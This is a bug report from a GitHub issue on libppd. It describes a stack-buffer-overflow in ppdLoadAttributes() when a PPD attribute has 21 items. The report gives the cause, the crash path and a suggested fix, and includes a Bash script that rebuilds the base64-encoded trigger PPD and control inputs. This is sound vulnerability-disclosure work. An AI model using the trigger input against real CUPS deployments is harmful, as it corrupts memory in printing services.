Skip to content

libppd: a 21-item PPD attribute writes past items[20] #85

Description

@kimaiden1984-boop

Summary

ppdLoadAttributes() splits selected comma-separated PPD attributes into a
fixed 20-pointer stack array without limiting the item count. A 21-item
cupsPwgRasterAuditSupported value causes a stack-buffer-overflow write before
the document parser runs.

Validated libppd source:

  • tested build: 522af8dd135f4dde66b1aac8b9d067808bbe122d
  • current upstream HEAD: fc41539f761286396a7df8aeeda762070192e37e

The commits between these revisions only change CI files; ppd/ppd-ipp.c is
byte-identical.

Reproduction

Final upstream recheck on 2026-08-02: OpenPrinting/libppd fc41539f761286396a7df8aeeda762070192e37e.

poc/control-20.ppd contains 20 values and exits normally.
poc/trigger-21.ppd, SHA-256
1f7a2add481f8388d56bebbe0666d8e990613551574b453b26dbb98699050933,
adds one value. Both use the same 85-byte valid PNG.

Run ./reproduce.sh for the trigger or MODE=control ./reproduce.sh for the
control group.

The following commented Bash script constructs the exact PoC and control
inputs. Save it as make_poc.sh, then run bash make_poc.sh poc.

#!/usr/bin/env bash
set -euo pipefail

# PoC: libppd: a 21-item PPD attribute writes past items[20]
# Finding ID: libppd-ipp-attribute-item-stack-overflow
# Trigger: ppdLoadAttributes() splits selected comma-separated PPD attributes
# into a fixed 20-pointer stack array without limiting the item count. A
# 21-item cupsPwgRasterAuditSupported value causes a stack-buffer-overflow
# write before the document parser runs.
#
# Binary PDFs, Raster files, images, and PPDs are stored as gzip-compressed
# base64 so embedded NUL bytes and exact parser offsets survive copy/paste.
# Every reconstructed file is checked before the vulnerable program is run.

OUTPUT_DIR="${1:-poc}"
mkdir -p "$OUTPUT_DIR"

for tool in base64 gzip sha256sum; do
  command -v "$tool" >/dev/null || {
    printf 'missing required tool: %s\n' "$tool" >&2
    exit 1
  }
done

write_file() {
  local name="$1"
  local expected_sha256="$2"
  local path="$OUTPUT_DIR/$name"
  local actual_sha256

  mkdir -p "$(dirname "$path")"
  base64 --decode | gzip --decompress > "$path"
  actual_sha256="$(sha256sum "$path")"
  actual_sha256="${actual_sha256%% *}"
  if [[ "$actual_sha256" != "$expected_sha256" ]]; then
    printf 'SHA-256 mismatch for %s\n' "$path" >&2
    return 1
  fi
  printf '%s  %s bytes  sha256=%s\n' \
    "$path" "$(wc -c < "$path")" "$actual_sha256"
}

# Boundary control input; this case should remain clean.
# Output: control-20.ppd (1047 bytes)
write_file control-20.ppd 79014c8de0b8642cb0607db8dd5412c6e1b4e89964d0044433e2f54155cd52b6 <<'POC_PAYLOAD_0'
H4sIAAAAAAACA61STW/iMBS88yssTi0KH4YCBVWVKBSJFZSoafey2oNJXlNrHdtybFPx6/eFAEmr
7m0PvszMe54ZuxWGi/YsUTuYkuZNZ9BstJbKZMz+BJNzJSuUC6gw2ukhtmYydSyt8EeZCp6/V8yj
jFXCZTolq2i7ZpZL2mhtmHRvLLbOgMFd0ealvXSHAxhcuVEJiCeWFXaeWW7BWKVj8UFeINOCWUBN
9K6MfeLxn5MOF9TYGvGvBeG8SFNNYwcdPAVjVOJii/BVbet1wURV+qtBj/auSVFB7HR+IbCVEilT
uGxXBDxjmJqJudIc8ilZMpFDSaAXeyyCaS14jCUp2fUy6RRk2xwzkB4xtTDNL5M8w667ep9+I9+n
J3W4T8tCZi7hNnJaY42Q4Linge8HfhD4m8APAz8K/Djwt4GfBJ728CBPUUBRQVFCUUNRRFFFUUZR
1z+3Ec7X+A+SH2qHm2XxlwQyWw3ydUVaIRqN+AGLD/GdthI7WMAbc8JWzBosumxctCcA193ddc/g
rxHtk/Gk/7u7wvD4xR4e1AeRToj7+xysRlkCnsfFe8+FyuF1Na2u/2zoGdLj+31n6czVTZXYf7ZV
Lr3cXYwD2wmYGWDV9Z/gygG9JYMRGU5uyHg4atYCaDALnoHMv4So49Wak/lm4y/HD85tFwQAAA==
POC_PAYLOAD_0

# Malformed or boundary document consumed by the real filter/API.
# Output: document.png (85 bytes)
write_file document.png 4f5f710fca2ff97193c3584c9ec5ab6cb1a381a2256c1e649b2eb7d557b47afe <<'POC_PAYLOAD_1'
H4sIAAAAAAACA+sM8HPn5ZLiYmBg4PX0cAkC0pxAzMQBJBjW267kB1Iyni6OIRVzkhMErhf3ar6L
2tHsGHDYTmd76rdlkxksfrILORQWSYPUe7r6uaxzSmgCAEcHHUVVAAAA
POC_PAYLOAD_1

# PPD configuration needed to select the vulnerable filter state.
# Output: trigger-21.ppd (1051 bytes)
write_file trigger-21.ppd 1f7a2add481f8388d56bebbe0666d8e990613551574b453b26dbb98699050933 <<'POC_PAYLOAD_2'
H4sIAAAAAAACA61STW/iMBS88yssTi0KH4YCBVWVKBSJFZSoafey2oNJXlNrHdtybFPx6/eFAEmr
7m0PvszMe54ZuxWGi/YsUTuYkuZNZ9BstJbKZMz+BJNzJSuUC6gw2ukhtmYydSyt8EeZCp6/V8yj
jFXCZTolq2i7ZpZL2mhtmHRvLLbOgMFd0ealvXSHAxhcuVEJiCeWFXaeWW7BWKVj8UFeINOCWUBN
9K6MfeLxn5MOF9TYGvGvBeG8SFNNYwcdPAVjVOJii/BVbet1wURV+qtBj/auSVFB7HR+IbCVEilT
uGxXBDxjmJqJudIc8ilZMpFDSaAXeyyCaS14jCUp2fUy6RRk2xwzkB4xtTDNL5M8w667ep9+I9+n
J3W4T8tCZi7hNnJaY42Q4Linge8HfhD4m8APAz8K/Djwt4GfBJ728CBPUUBRQVFCUUNRRFFFUUZR
10ddn56vmq/xLyQ/1A63y+I/CWS2GuTrirRCNBvxA5Yf4lttJfawgDfmhK2YNVh02rhoTwCuu7vr
nsFfI9on40n/d3eFBeA3e3hQH0Q6Ie7vc7AaZQl4HhdvPhcqh9fVtLr+s6FnSI9v+J2lM1c3VWL/
2Va59HJ3MQ5sJ2BmgFXXf4IrB/SWDEZkOLkh4+GoWQugwSx4BjL/EqKOV2tO5puNvxrz7WgbBAAA
POC_PAYLOAD_2

Result

The control exits 0. The trigger aborts with ASan WRITE of size 8 in
ppdLoadAttributes() at ppd-ipp.c:620; the address is beyond the
items[20] stack object. The real route is:

imagetops -> ppdFilterCUPSWrapper -> ppdFilterLoadPPD -> ppdLoadAttributes

The PPD is trusted configuration in many deployments, so ordinary document
submitters cannot usually supply it. Malicious driver packages, imported PPDs,
or compromised queue configuration can reach the write.

Cause and expected behavior

The parser declares const char *items[20] at line 331, then appends every
comma-delimited value at lines 615-620 without checking num_items.

The parser must reject attributes with more than the supported number of
items, or allocate the pointer array from a checked count before splitting.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions